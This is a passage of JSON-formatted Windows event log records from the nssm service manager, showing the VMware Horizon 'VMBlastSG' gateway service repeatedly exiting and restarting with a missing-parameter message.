{"@timestamp":1646723750315,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156400","156400","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159979}}
{"@timestamp":1646723750331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159980}}
{"@timestamp":1646723750331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159981}}
{"@timestamp":1646723750332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159982}}
{"@timestamp":1646723750332,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159983}}
{"@timestamp":1646723878834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159984}}
{"@timestamp":1646723878836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159985}}
{"@timestamp":1646723878836,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157032","0"]}}},"module":"Application","provider":"nssm","sequence":159986}}
{"@timestamp":1646723878837,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157032","157032","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159987}}
{"@timestamp":1646723878853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159988}}
{"@timestamp":1646723878853,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159989}}
{"@timestamp":1646723878854,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159990}}
{"@timestamp":1646723878855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159991}}
{"@timestamp":1646724007389,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159992}}
{"@timestamp":1646724007390,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159993}}
{"@timestamp":1646724007391,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154664","0"]}}},"module":"Application","provider":"nssm","sequence":159994}}
{"@timestamp":1646724007392,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154664","154664","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159995}}
{"@timestamp":1646724007410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159996}}
{"@timestamp":1646724007411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159997}}
{"@timestamp":1646724007411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159998}}
{"@timestamp":1646724007412,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159999}}
{"@timestamp":1646724135910,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160000}}
{"@timestamp":1646724135912,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160001}}
{"@timestamp":1646724135913,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157604","0"]}}},"module":"Application","provider":"nssm","sequence":160002}}
{"@timestamp":1646724135914,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157604","157604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160003}}
{"@timestamp":1646724135931,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160004}}
{"@timestamp":1646724135932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160005}}
{"@timestamp":1646724135932,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160006}}
{"@timestamp":1646724135933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160007}}
{"@timestamp":1646724264435,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160008}}
{"@timestamp":1646724264436,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160009}}
{"@timestamp":1646724264437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156908","0"]}}},"module":"Application","provider":"nssm","sequence":160010}}
{"@timestamp":1646724264437,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156908","156908","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160011}}
{"@timestamp":1646724264454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160012}}
{"@timestamp":1646724264454,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160013}}
{"@timestamp":1646724264455,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160014}}
{"@timestamp":1646724264456,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160015}}
{"@timestamp":1646724393260,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160016}}
{"@timestamp":1646724393261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160017}}
{"@timestamp":1646724393262,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157520","0"]}}},"module":"Application","provider":"nssm","sequence":160018}}
{"@timestamp":1646724393263,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157520","157520","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160019}}
{"@timestamp":1646724393279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160020}}
{"@timestamp":1646724393279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160021}}
{"@timestamp":1646724393280,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160022}}
{"@timestamp":1646724393281,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160023}}
{"@timestamp":1646724521831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160024}}
{"@timestamp":1646724521833,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160025}}
{"@timestamp":1646724521834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156188","0"]}}},"module":"Application","provider":"nssm","sequence":160026}}
{"@timestamp":1646724521834,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156188","156188","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160027}}
{"@timestamp":1646724521851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160028}}
{"@timestamp":1646724521851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160029}}
{"@timestamp":1646724521852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160030}}
{"@timestamp":1646724521852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160031}}
{"@timestamp":1646724650376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160032}}
{"@timestamp":1646724650376,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160033}}
{"@timestamp":1646724650377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157428","0"]}}},"module":"Application","provider":"nssm","sequence":160034}}
{"@timestamp":1646724650377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157428","157428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160035}}
{"@timestamp":1646724650393,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155920","0"]}}},"module":"Application","provider":"nssm","sequence":160036}}
{"@timestamp":1646724650394,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155920","157428","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160037}}
{"@timestamp":1646724650410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160038}}
{"@timestamp":1646724650410,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160039}}
{"@timestamp":1646724650411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160040}}
{"@timestamp":1646724650411,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160041}}
{"@timestamp":1646724778906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160042}}
{"@timestamp":1646724778908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160043}}
{"@timestamp":1646724778908,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","145820","0"]}}},"module":"Application","provider":"nssm","sequence":160044}}
{"@timestamp":1646724778909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["145820","145820","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160045}}
{"@timestamp":1646724778925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160046}}
{"@timestamp":1646724778926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160047}}
{"@timestamp":1646724778927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160048}}
{"@timestamp":1646724778927,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160049}}
{"@timestamp":1646724907424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160050}}
{"@timestamp":1646724907426,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160051}}
{"@timestamp":1646724907427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157532","0"]}}},"module":"Application","provider":"nssm","sequence":160052}}
{"@timestamp":1646724907427,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157532","157532","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160053}}
{"@timestamp":1646724907443,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160054}}
{"@timestamp":1646724907444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160055}}
{"@timestamp":1646724907444,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160056}}
{"@timestamp":1646724907445,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160057}}
{"@timestamp":1646725035976,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160058}}
{"@timestamp":1646725035977,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160059}}
{"@timestamp":1646725035978,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157296","0"]}}},"module":"Application","provider":"nssm","sequence":160060}}
{"@timestamp":1646725035979,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157296","157296","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160061}}
{"@timestamp":1646725035996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160062}}
{"@timestamp":1646725035997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160063}}
{"@timestamp":1646725035997,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160064}}
{"@timestamp":1646725035998,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160065}}
{"@timestamp":1646725164500,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160066}}
{"@timestamp":1646725164502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160067}}
{"@timestamp":1646725164502,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155124","0"]}}},"module":"Application","provider":"nssm","sequence":160068}}
{"@timestamp":1646725164503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155124","155124","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160069}}
{"@timestamp":1646725164519,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160070}}
{"@timestamp":1646725164520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160071}}
{"@timestamp":1646725164520,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160072}}
{"@timestamp":1646725164521,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160073}}
{"@timestamp":1646725293008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160074}}
{"@timestamp":1646725293010,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160075}}
{"@timestamp":1646725293011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","157456","0"]}}},"module":"Application","provider":"nssm","sequence":160076}}
{"@timestamp":1646725293011,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["157456","157456","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":160077}}
{"@timestamp":1646725293028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160078}}
{"@timestamp":1646725293029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":160079}}
{"@timestamp":1646725293029,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":160080}}
{"@timestamp":1646725293030,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":160081}}
{"@timestamp":1646725421557,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":160082}}
{"@timestamp":1646725421558,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":160083}}
